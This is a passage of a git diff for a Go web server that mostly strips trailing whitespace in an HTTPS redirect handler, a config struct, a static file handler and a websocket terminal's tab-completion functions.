http.ResponseWriter, r *http.Request) { // Build target URL, handling both with and without port in Host header host := r.Host if host == "" { host = "localhost" + httpsAddr } - + // Remove HTTP port and replace with HTTPS port if host == "localhost:"+cfg.Server.Redirect.HTTPPort { host = "localhost" + httpsAddr } - + target := "https://" + host + r.URL.RequestURI() log.Printf("[REDIRECT] %s -> %s", r.URL.String(), target) http.Redirect(w, r, target, http.StatusMovedPermanently) }) - + if err := http.ListenAndServe(httpAddr, redirectHandler); err != nil { log.Printf("[ERROR] HTTP redirect server error: %v", err) } diff --git a/server/config/types.go b/server/config/types.go index 0d7f74d..e7c546f 100644 --- a/server/config/types.go +++ b/server/config/types.go @@ -6,7 +6,7 @@ type Config struct { HTTPSPort string `yaml:"httpsPort"` UploadDir string `yaml:"uploadDir"` StaticDir string `yaml:"staticDir"` - TLS struct { + TLS struct { Enabled bool `yaml:"enabled"` CertFile string `yaml:"certFile"` KeyFile string `yaml:"keyFile"` diff --git a/server/internal/handlers/web/static_handlers.go b/server/internal/handlers/web/static_handlers.go index 5babaad..9d51583 100644 --- a/server/internal/handlers/web/static_handlers.go +++ b/server/internal/handlers/web/static_handlers.go @@ -43,7 +43,7 @@ func (h *StaticHandler) HandleRoot(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "/home/", http.StatusMovedPermanently) return } - + // Serve other static files from the web directory if _, err := os.Stat(filepath.Join(h.webDir, r.URL.Path)); err == nil { http.ServeFile(w, r, filepath.Join(h.webDir, r.URL.Path)) diff --git a/server/internal/websocket/terminal_session.go b/server/internal/websocket/terminal_session.go index 6f8d382..848cffd 100644 --- a/server/internal/websocket/terminal_session.go +++ b/server/internal/websocket/terminal_session.go @@ -175,12 +175,12 @@ func (h *TerminalHandler) HandleConnection(w http.ResponseWriter, r *http.Reques // - Handles file/directory completion and basic command completion func (h *TerminalHandler) handleTabCompletion(conn *websocket.Conn, session *TerminalSession, partial string) { completions := h.getCompletions(session, partial) - + response := TerminalResponse{ Type: "tab_completion", Completions: completions, } - + msg, _ := json.Marshal(response) conn.WriteMessage(websocket.TextMessage, msg) } @@ -197,18 +197,18 @@ func (h *TerminalHandler) handleTabCompletion(conn *websocket.Conn, session *Ter func (h *TerminalHandler) getCompletions(session *TerminalSession, partial string) []string { // Split command into words words := strings.Fields(partial) - + // If no words or first word, suggest commands if len(words) == 0 || (len(words) == 1 && !strings.HasSuffix(partial, " ")) { return h.getCommandCompletions(partial) } - + // Otherwise, complete file paths for the last word lastWord := words[len(words)-1] if strings.HasSuffix(partial, " ") { lastWord = "" } - + return h.getPathCompletions(session, lastWord) } @@ -227,14 +227,14 @@ func (h *TerminalHandler) getCommandCompletions(partial string) []string { "tar", "gzip", "gunzip", "zip", "unzip", "curl", "wget", "ssh", "scp", "git", "nano", "vim", "emacs", "python", "python3", "node", "go", "make", } - + var matches []string for _, cmd := range commands { if strings.HasPrefix(cmd, partial) { matches = append(matches, cmd) } } - + sort.Strings(matches) return matches } @@ -250,7 +250,7 @@ func (h *TerminalHandler) getCommandCompletions(partial string) []string { // - Handles relative and absolute paths, and ~ expansion func (h *TerminalHandler) getPathCompletions(session *TerminalSession, partial string) []string { var searchDir, prefix string - + // Handle different path types if partial == "" { searchDir = session.WorkingDir @@ -287,31 +287,31 @@ func (h *TerminalHandler) getPathCompletions(session *TerminalSession, partial s prefix = partial } } - + // Read directory contents entries, err := os.ReadDir(searchDir) if err != nil { return []string{} } - + var matches []string for _, entry := range entries { name := entry.Name() - + // Skip hidden files unless prefix starts with . if strings.HasPrefix(name, ".") && !strings.HasPrefix(prefix, ".") { continue } - + // Check if name matches prefix if strings.HasPrefix(name, prefix) { completionName := name - + // Add trailing slash for directories if entry.IsDir() { completionName += "/" } - + // Build the full completion based on the original partial path var fullCompletion string if strings.HasPrefix(partial, "/") { @@ -330,11 +330,11 @@ func (h *TerminalHandler) getPathCompletions(session *TerminalSession, partial s } else { fullCompletion = completionName } - + matches = append(matches, fullCompletion) } } - + sort.Strings(matches) return matches }